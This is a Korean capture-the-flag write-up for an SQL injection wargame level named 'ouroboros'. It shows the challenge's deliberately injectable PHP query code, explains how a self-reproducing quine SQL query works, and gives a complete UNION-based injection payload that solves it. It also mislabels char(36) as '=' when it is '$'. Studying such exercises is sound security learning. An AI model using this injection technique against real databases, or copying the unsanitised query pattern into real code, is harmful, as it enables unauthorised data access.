<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);
?>
이 문제는 내가 입력한 pw 값과 쿼리 실행 결과 pw 값이 같으면 풀린다.
어떤 id에 해당하는 pw가 필요한 것도 아니다. 또 db에 무슨 pw가 있는지 알 수도 없다.
이 문제는 콰인을 이용해야 한다.
콰인이란 입력 없이 자기 자신의 소스 코드를 출력하는 프로그램이다.
내가 말한 콰인 쿼리는 쿼리가 자기 자신을 출력하는 쿼리를 말한 것이다.
콰인 쿼리를 이용하면 쿼리 실행결과 pw로 입력한 쿼리가 출력되어 $result['pw']와 $_GET['pw']가 같게 된다.
우선 콰인 쿼리의 기본 형태는 다음과 같다.
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');
위 구문을 이해하는데 알아야 될 것들이 있다.
char(34): "
char(39): '
char(36): =
replace('문자(열)','문자(열)','문자(열)'): 첫 번째 인자의 문자(열) 안에 두 번째 인자 문자(열)가 있으면 세 번째 인자 문자(열)로 치환하는 것이다.
먼저 녹색 replace 문이 실행된다. 녹색 select ~문자열 내부의 "(char(34))를 '(char(39))로 치환한다. 그 결과
select replace(replace("$",char(34),char(39)),char(36),"$") 에서
select replace(replace('$',char(34),char(39)),char(36),'$') 이 된다.
다음으로 빨간 replace 문이 실행된다. 이번엔 $(char(36)) 문자를 마지막에 있는 빨간색 select ~ 문자열로 치환한다.
select replace(replace('$',char(34),char(39)),char(36),'$') 에서
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")') 가 된다.
입력한 쿼리문과 출력문이 일치한다. 이를 기반으로 살을 조금만 붙이면 된다. 답은 다음과 같다.
?pw='union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
말은 쉽지만 계속 보면 눈이 아프다. %23은 #(mysql의 한 줄주석)을 url 인코딩한 값이다.